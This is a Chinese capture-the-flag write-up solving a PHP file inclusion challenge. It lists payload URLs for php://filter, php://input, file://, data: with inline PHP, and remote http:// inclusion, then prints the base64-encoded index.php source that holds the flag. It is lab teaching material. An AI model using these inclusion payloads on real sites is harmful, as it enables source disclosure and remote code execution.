打开题目链接,点击“click me”,发现其连接为:
http://123.206.87.240:8005/post/index.php?file=show.php
说明index.php使用了文件包含,因此可以利用php文件包含漏洞
此漏洞有下面几种利用方法
- php://filter
使用方法:http://123.206.87.240:8005/post/index.php?file=php://filter/resource/file
当file为非php文件时,导致include失败,并输出file内容
当file为php文件时,会使include成功,并输出执行结果
若想要将php文件输出,需要先进行base64编码:
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource/file
再将获得的编码解码即可
-
php://input
使用方法:将要执行的语法php代码直接通过post提交 -
file://
使用方法:http://123.206.87.240:8005/post/index.php?file=file://var/www/index.html
效果和php://filter相同,但注意只可使用绝对路径 -
data:
使用方法:http://123.206.87.240:8005/post/index.php?file=data: text/plain,<?php echo "hello"; >
效果和php://input相同 -
http://
使用方法:http://123.206.87.240:8005/post/index.php?file=http://www.a.com/file
上面几种属于本地包含,而http://为 外部包含,可包含网络上的文件
解出此题需要用到php://filter/read=convert.base64-encode/resource=index.php
获得base64码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
解码可得到flag